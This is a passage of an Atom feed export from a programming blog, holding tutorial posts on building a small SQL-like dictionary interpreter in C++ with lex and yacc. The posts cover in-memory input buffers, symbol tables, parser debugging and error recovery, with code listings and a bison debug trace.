yywrap(){&lt;br /&gt;&lt;br /&gt;    yy_delete_buffer(cur_buffer);&lt;br /&gt;    if(line+1 &gt; text.size()) return 1;&lt;br /&gt;    cur_buffer = yy_scan_string(text[line].c_str());&lt;br /&gt;    line ++;&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;yywrap gets called by yylex whenever a input buffer is exhausted, if yywrap returns 1, yylex will return; Therefore, it's a common technique to set up another available data buffer and return 0 to allow yylex continue processing as done in this example.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;1. http://flex.sourceforge.net/manual/Multiple-Input-Buffers.html#Multiple-Input-Buffers&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1565701908194371002?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1565701908194371002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1565701908194371002'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/compilers-part-4-working-with-in-memory.html' title='Compilers Part 5, working with in memory data buffers'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-8546943533114731967</id><published>2008-02-01T11:51:00.000-05:00</published><updated>2008-02-01T12:56:14.229-05:00</updated><title type='text'>Compilers Part 4, Symbol tables</title><content type='html'>Continue from last entry, we will add a symbol table to our little sql parser that interacts with in memory dictionaries. We have chosen to support dictionaries of the type std:map&lt; std::string, std::string&gt; because coupled with serialization/deserialization techniques, a dictionary is fit to describe a hierarchical organization of data objects. Theoretically, all things can be represented by strings in a Turing machine. We may cover automatic type deduction and more generic (in terms of coding convenience) solution in future entries on symbol tables. &lt;br /&gt;&lt;br /&gt;The reason a map is used instead of using a plain std::set is coding convenience. For std::set&lt;dictionary_type&gt; we have to supply user defined ordering functions to work with properly. Since we know that symbol table entries are always keyed by symbol name, a straight forward std::string key type works well. Our symbol table itself is a std::map type with key_type std::string and value_type value. struct value is user defined in map.h that contains a union ivalue type in which we hold multiple types our scripting language supports. One of the ivalue type is the dictionary type std::map&lt;std::string, std::string&gt;, typdef map_t. Our mini sql language revolves around manipulating this type of data structure.&lt;br /&gt;&lt;br /&gt;We will also make significant enhancement to the syntax of our little scripting language, allowing greater freedom in dictionary creation, object manipulation. Let's first see a transcript of the interpreter in action:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;./map&lt;br /&gt;create table $sss;&lt;br /&gt;list&lt;br /&gt;symbol: sss m&lt;br /&gt;insert into $sss (abc, efg)&lt;br /&gt;list&lt;br /&gt;symbol: sss m&lt;br /&gt;key = abc value = efg&lt;br /&gt;insret into $sss( ddd, hik)&lt;br /&gt;4 : syntax error at&lt;br /&gt;insret into $sss( ddd, hik)&lt;br /&gt;      ^&lt;br /&gt;insert into $sss (ddd, hik)&lt;br /&gt;Enter another command&lt;br /&gt;list&lt;br /&gt;symbol: sss m&lt;br /&gt;key = abc value = efg&lt;br /&gt;key = ddd value = hik&lt;br /&gt;select * from $sss;&lt;br /&gt;key = abc value = efg&lt;br /&gt;key = ddd value = hik&lt;br /&gt;select * from $sss where key = ddd&lt;br /&gt;key = ddd value = hik&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We have added more reserved keywords, more grammars to enhance the scripting language. Here is the complete code listing:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;#ifndef MAP_H&lt;br /&gt;#define MAP_H&lt;br /&gt;#include &lt; string&gt;&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;#include &lt; map&gt;&lt;br /&gt;&lt;br /&gt;#include &lt; boost/lambda/lambda.hpp&gt;&lt;br /&gt;typedef std::map&lt; std::string, std::string&gt; map_t;&lt;br /&gt;&lt;br /&gt;// a value type that describe the value of a symbol table entry&lt;br /&gt;// Essentially the symbol table entry data structure&lt;br /&gt;struct value{&lt;br /&gt;    unsigned char type; // the first letter of corresponding union type&lt;br /&gt;    union {&lt;br /&gt;        int ival;&lt;br /&gt;        float fval;&lt;br /&gt;        double dval;&lt;br /&gt;        char * sval;&lt;br /&gt;        map_t * mval;&lt;br /&gt;    } ivalue;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// The symbol table data structure&lt;br /&gt;// Symbol table entry is keyed by the symbol string value&lt;br /&gt;typedef std::map&lt; std::string, value&gt; symtab_t;&lt;br /&gt;&lt;br /&gt;extern int yyerror(char *);&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;%{&lt;br /&gt;#include "map.tab.h"&lt;br /&gt;#include "map.h"&lt;br /&gt;&lt;br /&gt;extern symtab_t symtab;&lt;br /&gt;std::string line;&lt;br /&gt;bool report_err;&lt;br /&gt;int lineno;&lt;br /&gt;int tokenpos;&lt;br /&gt;%}&lt;br /&gt;D   [0-9]&lt;br /&gt;N   {D}+&lt;br /&gt;L   [a-zA-Z]&lt;br /&gt;A   [a-zA-Z0-9]&lt;br /&gt;ID  ({L}{A}*)&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;select      { tokenpos += yyleng; return SELECT; }&lt;br /&gt;insert      { tokenpos += yyleng; return INSERT; }&lt;br /&gt;into        { tokenpos += yyleng; return INTO; }&lt;br /&gt;from        { tokenpos += yyleng; return FROM; }&lt;br /&gt;create      { tokenpos += yyleng; return CREATE; }&lt;br /&gt;table       { tokenpos += yyleng; return TABLE; }&lt;br /&gt;list        { tokenpos += yyleng; return LIST; }&lt;br /&gt;where       { tokenpos += yyleng; return WHERE; }&lt;br /&gt;key         { tokenpos += yyleng; return KEY; }&lt;br /&gt;value       { tokenpos += yyleng; return VALUE; }&lt;br /&gt;&lt;br /&gt;${ID}       { tokenpos += yyleng; yylval.text = strdup(yytext+1); return OBJECT; }&lt;br /&gt;{ID}        { tokenpos += yyleng; yylval.text = strdup(yytext); return TEXT; }&lt;br /&gt;[ \t]       { tokenpos += yyleng; /* ignore white space */ }&lt;br /&gt;.           { tokenpos += yyleng; return yytext[0]; }&lt;br /&gt;\n.*        { report_err = true; tokenpos = 0; line = yytext+1; yyless(1); lineno++; return '\n'; }&lt;br /&gt;&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;int yyerror(char * s){&lt;br /&gt;    if(report_err){&lt;br /&gt;        std::cout &lt;&lt; lineno &lt;&lt; " : " &lt;&lt; s &lt;&lt; " at \n" &lt;&lt; line &lt;&lt; '\n';&lt;br /&gt;        printf("%*s\n", 1+tokenpos, "^");&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;%{&lt;br /&gt;extern "C"{&lt;br /&gt;#include &lt; stdio.h&gt;&lt;br /&gt;#define YYDEBUG 1&lt;br /&gt;}&lt;br /&gt;extern int yyerror(char *);&lt;br /&gt;extern int yylex();&lt;br /&gt;&lt;br /&gt;#include "map.h"&lt;br /&gt;&lt;br /&gt;symtab_t symtab;&lt;br /&gt;bool where_by_key = false;&lt;br /&gt;bool where_by_value = false;&lt;br /&gt;std::string tablename;&lt;br /&gt;std::string where;&lt;br /&gt;%}&lt;br /&gt;&lt;br /&gt;%union{&lt;br /&gt;    char * text;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;%token &lt; text&gt; INSERT SELECT INTO TEXT OBJECT FROM CREATE TABLE LIST&lt;br /&gt;%token &lt; text&gt; WHERE KEY VALUE&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;statements: statements statement&lt;br /&gt;    | statement&lt;br /&gt;    ;&lt;br /&gt;statement: insert_stmt opt_semicolon '\n'&lt;br /&gt;    | select_stmt opt_semicolon '\n'&lt;br /&gt;    | create_stmt opt_semicolon '\n'&lt;br /&gt;    | assign_stmt opt_semicolon '\n'&lt;br /&gt;    | list_stmt opt_semicolon '\n'&lt;br /&gt;    | '\n'&lt;br /&gt;    | error '\n' { yyclearin; yyerrok; std::cout &lt;&lt; "Enter another command\n"; }&lt;br /&gt;    ;&lt;br /&gt;opt_semicolon:&lt;br /&gt;    | ';'&lt;br /&gt;    ;&lt;br /&gt;assign_stmt:&lt;br /&gt;    OBJECT '=' TEXT&lt;br /&gt;            {&lt;br /&gt;                // string variable assignment&lt;br /&gt;                symtab_t::iterator it = symtab.find($1);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 's') // Symbol found and type is correct&lt;br /&gt;                    it-&gt;second.ivalue.sval = $3;&lt;br /&gt;                else{  // New symbol, add to symbol table&lt;br /&gt;                    value v;&lt;br /&gt;                    v.ivalue.sval = $3;&lt;br /&gt;                    v.type = 's';&lt;br /&gt;                    symtab[$1] = v;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;create_stmt:&lt;br /&gt;    CREATE TABLE OBJECT&lt;br /&gt;            {&lt;br /&gt;                // Create a new dictionary&lt;br /&gt;                std::string symbol = $3;&lt;br /&gt;                symtab_t::iterator it = symtab.find(symbol);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 'm'){ // Symbol found and type is correct&lt;br /&gt;                    std::cerr &lt;&lt; "symbol: " &lt;&lt; symbol &lt;&lt; " already exists\n";&lt;br /&gt;                }else{ // New symbol, create new map(table), add to symbol table&lt;br /&gt;                    value v;&lt;br /&gt;                    v.ivalue.mval = new(map_t);&lt;br /&gt;                    v.type = 'm';&lt;br /&gt;                    symtab[symbol] = v;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;insert_stmt:&lt;br /&gt;    INSERT INTO OBJECT '(' TEXT ',' TEXT ')'&lt;br /&gt;            {&lt;br /&gt;                // insert key, value pair into an existing dictionary&lt;br /&gt;                symtab_t::const_iterator it = symtab.find($3);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 'm'){ // Symbol found and type is correct&lt;br /&gt;                    (*(it-&gt;second.ivalue.mval))[std::string($5)] = std::string($7);&lt;br /&gt;                }else&lt;br /&gt;                    std::cerr &lt;&lt; "unknown symbol: " &lt;&lt; $3 &lt;&lt; " create first\n";&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;select_stmt: simple_select_stmt&lt;br /&gt;            {&lt;br /&gt;                // go through all key, value pair of a dictionary&lt;br /&gt;                symtab_t::const_iterator it = symtab.find(tablename);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 'm'){&lt;br /&gt;                    map_t::const_iterator mit = it-&gt;second.ivalue.mval-&gt;begin();&lt;br /&gt;                    for(; mit != it-&gt;second.ivalue.mval-&gt;end(); ++ mit)&lt;br /&gt;                        std::cout &lt;&lt; "key = " &lt;&lt; mit-&gt;first &lt;&lt; ' '&lt;br /&gt;                            &lt;&lt; "value = " &lt;&lt; mit-&gt;second &lt;&lt; '\n';&lt;br /&gt;                }else&lt;br /&gt;                    std::cerr &lt;&lt; "invalid object\n";&lt;br /&gt;&lt;br /&gt;            }&lt;br /&gt;    | simple_select_stmt opt_where_stmt&lt;br /&gt;            {&lt;br /&gt;                // go through all key, value pair of a dictionary&lt;br /&gt;                // based on where criteria, search by key or value&lt;br /&gt;                symtab_t::const_iterator it = symtab.find(tablename);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 'm'){&lt;br /&gt;                    map_t::const_iterator mit = it-&gt;second.ivalue.mval-&gt;begin();&lt;br /&gt;                    for(; mit != it-&gt;second.ivalue.mval-&gt;end(); ++ mit)&lt;br /&gt;                        if( (where_by_key &amp;&amp; mit-&gt;first == where) ||&lt;br /&gt;                            (where_by_value &amp;&amp; mit-&gt;second == where) ||&lt;br /&gt;                            (!where_by_key &amp;&amp; !where_by_value) )&lt;br /&gt;                            std::cout &lt;&lt; "key = " &lt;&lt; mit-&gt;first &lt;&lt; ' '&lt;br /&gt;                                &lt;&lt; "value = " &lt;&lt; mit-&gt;second &lt;&lt; '\n';&lt;br /&gt;                }else&lt;br /&gt;                    std::cerr &lt;&lt; "invalid object\n";&lt;br /&gt;&lt;br /&gt;                where_by_key = where_by_value = false;&lt;br /&gt;&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;simple_select_stmt:&lt;br /&gt;    SELECT '*' FROM OBJECT  { tablename = $4; }&lt;br /&gt;    ;&lt;br /&gt;opt_where_stmt: WHERE KEY '=' TEXT { where_by_key = true; where = $4; }&lt;br /&gt;    | WHERE VALUE '=' TEXT         { where_by_value = true; where = $4; }&lt;br /&gt;    ;&lt;br /&gt;list_stmt:&lt;br /&gt;    LIST&lt;br /&gt;            {&lt;br /&gt;                // Dump the entire symbol table&lt;br /&gt;                // For dictionaries, dump all key, value pairs as well&lt;br /&gt;                //&lt;br /&gt;                // Iterate through the symbol table&lt;br /&gt;                symtab_t::const_iterator it = symtab.begin();&lt;br /&gt;                for(; it != symtab.end(); ++it){&lt;br /&gt;                    std::cout &lt;&lt; "symbol: " &lt;&lt; it-&gt;first &lt;&lt; ' ' &lt;&lt; it-&gt;second.type &lt;&lt; '\n';&lt;br /&gt;                    switch(it-&gt;second.type){&lt;br /&gt;                        case 's':    std::cout &lt;&lt; "value = " &lt;&lt; it-&gt;second.ivalue.sval &lt;&lt; '\n';&lt;br /&gt;                                break;&lt;br /&gt;                        case 'm':    {&lt;br /&gt;                                // iterate through the dictionary&lt;br /&gt;                                map_t::const_iterator mit = it-&gt;second.ivalue.mval-&gt;begin();&lt;br /&gt;                                for(; mit != it-&gt;second.ivalue.mval-&gt;end(); ++ mit)&lt;br /&gt;                                    std::cout &lt;&lt; "key = " &lt;&lt; mit-&gt;first &lt;&lt; ' '&lt;br /&gt;                                        &lt;&lt; "value = " &lt;&lt; mit-&gt;second &lt;&lt; '\n';&lt;br /&gt;                                }&lt;br /&gt;                                break;&lt;br /&gt;                        default:&lt;br /&gt;                                std::cerr &lt;&lt; "Unknown data type\n";&lt;br /&gt;                                break;&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;    extern int yydebug;&lt;br /&gt;    yydebug = 0;&lt;br /&gt;    yyparse();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We do not provide symlookup kind of functions because it's fairly straightforward to find symtable entry with our symtab_t data structure and the returned iterator is of immediate use in the action code. The complex object chaining action code may seem a little taunting at first but they are just regular C++ STL ways of getting/setting std::map data. We also let STL to handle all the memory issues, computing efficiency (std::map is typically implemented as a red-black tree, a kind of balanced binary search tree with very decent insertion, search, deletion speed O(lgN)), APIs. This is primarily why we would like to get lex and yacc to work with C++.&lt;br /&gt;&lt;br /&gt;Perhaps most telling is the 'list' command covered by list_stmt grammar, whose action code performs a complete dump of the entire symbol table. We first iterate the symbol table data structure, upon seeing a map_t type, we also iterate all key, value pairs of this symbol. This code illustrate the data structures we use to contain data.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-8546943533114731967?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/8546943533114731967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/8546943533114731967'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/compilers-part-4-symbol-tables.html' title='Compilers Part 4, Symbol tables'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7177779713890649273</id><published>2008-01-31T12:27:00.000-05:00</published><updated>2008-02-01T11:47:40.260-05:00</updated><title type='text'>Compilers Part 3, lex &amp; yacc debugging and error recovery</title><content type='html'>So far we deliberately didn't talk much about the basics of Lex and Yacc because they are better covered in books and online documents (check the reference section of this entry). In our last entry we focused on how to use C++ code in Lex&amp;Yacc generated parsers and lexers. In this entry, we will talk about debugging lex &amp; yacc and show simple error recovery techniques. These topics are important because as we develop a compiler (or to develop any software), debugging becomes a necessary repeated task if not most frequently. We collect the tips here hidden in corners of various documents.&lt;br /&gt;&lt;br /&gt;To help with debugging, start with compile&lt;br /&gt;&lt;br /&gt;1) add -d to lex&lt;br /&gt;2) add --debug to yacc (add -t to bison)&lt;br /&gt;&lt;br /&gt;In yacc source code, in the definition section, add the following code:&lt;br /&gt;&lt;br /&gt;extern "C"{&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#define YYDEBUG 1&lt;br /&gt;}&lt;br /&gt;    extern int yydebug;&lt;br /&gt;    yydebug = 1;&lt;br /&gt;&lt;br /&gt;These additions will allow verbose debugging messages displayed in both lex and yacc to learn how tokens are matched and states transitioned.&lt;br /&gt;&lt;br /&gt;For error recovery:&lt;br /&gt;The Lex &amp; Yacc book has a dedicated chapter on error recovery. The basic idea is that we need a user defined yyerror function to report error and a hint where the error occured. In the grammar file, we provide action for error state that allows the parser to recover from syntax error in user input. &lt;br /&gt;&lt;br /&gt;To demonstrate the debugging techniques and error recovery techniques, a complete lex&amp;yacc specifications are provided. In this example, we would like to provide an interface to allow client modify and display a c++ std::map object. The syntax will be similar to sql. We are going to build a small in memory dictionary (database) that lives in a tcp/ip server that provides a minimal terminal interface to allow data manipulation. We start with simple insert/select commands to demonstrate various techniques that will be used in building this application. We will cover alternative input, symbol table, and tcp/ip client/server in the succeeding entries.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;#ifndef MAP_H&lt;br /&gt;#define MAP_H&lt;br /&gt;#include &lt; string&gt;&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;#include &lt; map&gt;&lt;br /&gt;&lt;br /&gt;#include &lt; boost/lambda/lambda.hpp&gt;&lt;br /&gt;typedef std::map&lt;std::string, std::string&gt; map_t;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;%{&lt;br /&gt;#include "map.tab.h"&lt;br /&gt;#include "map.h"&lt;br /&gt;&lt;br /&gt;extern map_t symtab;&lt;br /&gt;int lineno;&lt;br /&gt;std::string line;&lt;br /&gt;int tokenpos;&lt;br /&gt;bool report_err;&lt;br /&gt;%}&lt;br /&gt;D   [0-9]&lt;br /&gt;N   {D}+&lt;br /&gt;L   [a-zA-Z]&lt;br /&gt;A   [a-zA-Z0-9]&lt;br /&gt;ID  ({L}{A}*)&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;select              { tokenpos += yyleng; return SELECT; }&lt;br /&gt;insert              { tokenpos += yyleng; return INSERT; }&lt;br /&gt;into                { tokenpos += yyleng; return INTO; }&lt;br /&gt;from                { tokenpos += yyleng; return FROM; }&lt;br /&gt;\${ID}              { tokenpos += yyleng; return OBJECT; }&lt;br /&gt;{ID}                { tokenpos += yyleng;&lt;br /&gt;                        symtab[std::string(yytext)] = std::string(yytext);&lt;br /&gt;                        std::cout &lt;&lt; symtab[yytext] &lt;&lt; '\n';&lt;br /&gt;                        yylval.text=strdup(yytext);&lt;br /&gt;                        return TEXT;&lt;br /&gt;                    }&lt;br /&gt;[ \t]               { tokenpos += yyleng; /* ignore white space */ }&lt;br /&gt;.                   { tokenpos += yyleng; return yytext[0]; }&lt;br /&gt;\n.*                { report_err = true; tokenpos = 0; line = yytext+1; yyless(1); lineno++; return '\n'; }&lt;br /&gt;&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;void yyerror(char * s){&lt;br /&gt;    if(report_err){&lt;br /&gt;        std::cout &lt;&lt; lineno &lt;&lt; " : " &lt;&lt; s &lt;&lt; " at \n" &lt;&lt; line &lt;&lt; '\n';&lt;br /&gt;        printf("%*s\n", 1+tokenpos, "^");&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;%{&lt;br /&gt;extern "C"{&lt;br /&gt;#include &lt; stdio.h&gt;&lt;br /&gt;#define YYDEBUG 1&lt;br /&gt;}&lt;br /&gt;extern int yyerror(char *);&lt;br /&gt;extern int yylex();&lt;br /&gt;&lt;br /&gt;#include "map.h"&lt;br /&gt;&lt;br /&gt;map_t object;&lt;br /&gt;map_t symtab;&lt;br /&gt;%}&lt;br /&gt;&lt;br /&gt;%union{&lt;br /&gt;    char * text;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;%token &lt;text&gt; INSERT SELECT INTO TEXT OBJECT FROM&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;statements: statements statement&lt;br /&gt;    | statement&lt;br /&gt;    ;&lt;br /&gt;statement: insert_stmt '\n'&lt;br /&gt;    | select_stmt '\n'&lt;br /&gt;    | '\n'&lt;br /&gt;    | error '\n' { yyclearin; yyerrok; std::cout &lt;&lt; "Enter another command\n"; }&lt;br /&gt;    ;&lt;br /&gt;insert_stmt:&lt;br /&gt;    INSERT INTO OBJECT '&lt;' TEXT ',' TEXT '&gt;'  {&lt;br /&gt;                object[std::string($5)] = std::string($7);&lt;br /&gt;                }&lt;br /&gt;    ;&lt;br /&gt;select_stmt:&lt;br /&gt;    SELECT '*' FROM OBJECT  {&lt;br /&gt;        std::cout &lt;&lt; "SELECT\n";&lt;br /&gt;        map_t::const_iterator it = object.begin();&lt;br /&gt;        for(; it != object.end(); ++it)&lt;br /&gt;            std::cout &lt;&lt; it-&gt;first &lt;&lt; ' ' &lt;&lt; it-&gt;second &lt;&lt; '\n';&lt;br /&gt;        it = symtab.begin();&lt;br /&gt;        for(; it != symtab.end(); ++it)&lt;br /&gt;            std::cout &lt;&lt; "symbol: " &lt;&lt; it-&gt;first &lt;&lt; ' ' &lt;&lt; it-&gt;second &lt;&lt; '\n';&lt;br /&gt;    }&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;    extern int yydebug;&lt;br /&gt;    yydebug = 1;&lt;br /&gt;    yyparse();&lt;br /&gt;}&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We will use the same makefile provided in last entry. 'make map' will build the binary 'map'. Try&lt;br /&gt;./map and input 'insert into $mm &lt;abc,def&gt;' and 'insert int $ss &lt;a,b&gt;', we get the following output and diagnosis from our parser. There is a caveat with the error reporting, if the first line the user entered has syntax error, it won't be able to report it because the first line's text is not saved (it can be altered to save the text of every line but I haven't found a good way to do it).&lt;br /&gt;&lt;br /&gt;Starting parse&lt;br /&gt;Entering state 0&lt;br /&gt;Reading a token: --(end of buffer or a NUL)&lt;br /&gt;insert into $mm &lt;abc,def&gt;&lt;br /&gt;--accepting rule at line 19 ("insert")&lt;br /&gt;Next token is token INSERT ()&lt;br /&gt;Shifting token INSERT ()&lt;br /&gt;Entering state 2&lt;br /&gt;Reading a token: --accepting rule at line 29 (" ")&lt;br /&gt;--accepting rule at line 20 ("into")&lt;br /&gt;Next token is token INTO ()&lt;br /&gt;Shifting token INTO ()&lt;br /&gt;Entering state 10&lt;br /&gt;Reading a token: --accepting rule at line 29 (" ")&lt;br /&gt;--accepting rule at line 22 ("$mm")&lt;br /&gt;Next token is token OBJECT ()&lt;br /&gt;Shifting token OBJECT ()&lt;br /&gt;Entering state 16&lt;br /&gt;Reading a token: --accepting rule at line 29 (" ")&lt;br /&gt;--accepting rule at line 30 ("&lt;")&lt;br /&gt;Next token is token '&lt;' ()&lt;br /&gt;Shifting token '&lt;' ()&lt;br /&gt;Entering state 18&lt;br /&gt;Reading a token: --accepting rule at line 23 ("abc")&lt;br /&gt;abc&lt;br /&gt;Next token is token TEXT ()&lt;br /&gt;Shifting token TEXT ()&lt;br /&gt;Entering state 20&lt;br /&gt;Reading a token: --accepting rule at line 30 (",")&lt;br /&gt;Next token is token ',' ()&lt;br /&gt;Shifting token ',' ()&lt;br /&gt;Entering state 21&lt;br /&gt;Reading a token: --accepting rule at line 23 ("def")&lt;br /&gt;def&lt;br /&gt;Next token is token TEXT ()&lt;br /&gt;Shifting token TEXT ()&lt;br /&gt;Entering state 22&lt;br /&gt;Reading a token: --accepting rule at line 30 ("&gt;")&lt;br /&gt;Next token is token '&gt;' ()&lt;br /&gt;Shifting token '&gt;' ()&lt;br /&gt;Entering state 23&lt;br /&gt;Reducing stack by rule 7 (line 31):&lt;br /&gt;   $1 = token INSERT ()&lt;br /&gt;   $2 = token INTO ()&lt;br /&gt;   $3 = token OBJECT ()&lt;br /&gt;   $4 = token '&lt;' ()&lt;br /&gt;   $5 = token TEXT ()&lt;br /&gt;   $6 = token ',' ()&lt;br /&gt;   $7 = token TEXT ()&lt;br /&gt;   $8 = token '&gt;' ()&lt;br /&gt;-&gt; $$ = nterm insert_stmt ()&lt;br /&gt;Stack now 0&lt;br /&gt;Entering state 7&lt;br /&gt;Reading a token: --(end of buffer or a NUL)&lt;br /&gt;&lt;br /&gt;Entering state 5&lt;br /&gt;Reading a token: --(end of buffer or a NUL)&lt;br /&gt;insert int $ss &lt;a,b&gt;&lt;br /&gt;--accepting rule at line 31 ("&lt;br /&gt;insert int $ss &lt;a,b&gt;")&lt;br /&gt;Next token is token '\n' ()&lt;br /&gt;Shifting token '\n' ()&lt;br /&gt;Entering state 4&lt;br /&gt;Reducing stack by rule 5 (line 27):&lt;br /&gt;   $1 = token '\n' ()&lt;br /&gt;-&gt; $$ = nterm statement ()&lt;br /&gt;Stack now 0 5&lt;br /&gt;Entering state 13&lt;br /&gt;Reducing stack by rule 1 (line 22):&lt;br /&gt;   $1 = nterm statements ()&lt;br /&gt;   $2 = nterm statement ()&lt;br /&gt;-&gt; $$ = nterm statements ()&lt;br /&gt;Stack now 0&lt;br /&gt;Entering state 5&lt;br /&gt;Reading a token: --accepting rule at line 19 ("insert")&lt;br /&gt;Next token is token INSERT ()&lt;br /&gt;Shifting token INSERT ()&lt;br /&gt;Entering state 2&lt;br /&gt;Reading a token: --accepting rule at line 29 (" ")&lt;br /&gt;--accepting rule at line 23 ("int")&lt;br /&gt;int&lt;br /&gt;Next token is token TEXT ()&lt;br /&gt;2 : syntax error at&lt;br /&gt;insert int $ss &lt;a,b&gt;                 &lt;------------ Nice diagnosis from the parser&lt;br /&gt;          ^&lt;br /&gt;Error: popping token INSERT ()&lt;br /&gt;Stack now 0 5&lt;br /&gt;Shifting token error ()&lt;br /&gt;Entering state 1&lt;br /&gt;Next token is token TEXT ()&lt;br /&gt;Error: discarding token TEXT ()&lt;br /&gt;Error: popping token error ()&lt;br /&gt;Stack now 0 5&lt;br /&gt;Shifting token error ()&lt;br /&gt;Entering state 1&lt;br /&gt;Reading a token: --accepting rule at line 29 (" ")&lt;br /&gt;--accepting rule at line 22 ("$ss")&lt;br /&gt;Next token is token OBJECT ()&lt;br /&gt;Error: discarding token OBJECT ()&lt;br /&gt;Error: popping token error ()&lt;br /&gt;Stack now 0 5&lt;br /&gt;Shifting token error ()&lt;br /&gt;Entering state 1&lt;br /&gt;Reading a token: --accepting rule at line 29 (" ")&lt;br /&gt;--accepting rule at line 30 ("&lt;")&lt;br /&gt;Next token is token '&lt;' ()&lt;br /&gt;Error: discarding token '&lt;' ()&lt;br /&gt;Error: popping token error ()&lt;br /&gt;Stack now 0 5&lt;br /&gt;Shifting token error ()&lt;br /&gt;Entering state 1&lt;br /&gt;Reading a token: --accepting rule at line 23 ("a")&lt;br /&gt;a&lt;br /&gt;Next token is token TEXT ()&lt;br /&gt;Error: discarding token TEXT ()&lt;br /&gt;Error: popping token error ()&lt;br /&gt;Stack now 0 5&lt;br /&gt;Shifting token error ()&lt;br /&gt;Entering state 1&lt;br /&gt;Reading a token: --accepting rule at line 30 (",")&lt;br /&gt;Next token is token ',' ()&lt;br /&gt;Error: discarding token ',' ()&lt;br /&gt;Error: popping token error ()&lt;br /&gt;Stack now 0 5&lt;br /&gt;Shifting token error ()&lt;br /&gt;Entering state 1&lt;br /&gt;Reading a token: --accepting rule at line 23 ("b")&lt;br /&gt;b&lt;br /&gt;Next token is token TEXT ()&lt;br /&gt;Error: discarding token TEXT ()&lt;br /&gt;Error: popping token error ()&lt;br /&gt;Stack now 0 5&lt;br /&gt;Shifting token error ()&lt;br /&gt;Entering state 1&lt;br /&gt;Reading a token: --accepting rule at line 30 ("&gt;")&lt;br /&gt;Next token is token '&gt;' ()&lt;br /&gt;Error: discarding token '&gt;' ()&lt;br /&gt;Error: popping token error ()&lt;br /&gt;Stack now 0 5&lt;br /&gt;Shifting token error ()&lt;br /&gt;Entering state 1&lt;br /&gt;Reading a token: --(end of buffer or a NUL)&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;1. Lex &amp; Yacc John R. Levine, Tony Mason, Doug Brown ISBN: 1565920007&lt;br /&gt;2. http://dinosaur.compilertools.net/yacc/index.html&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-7177779713890649273?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' 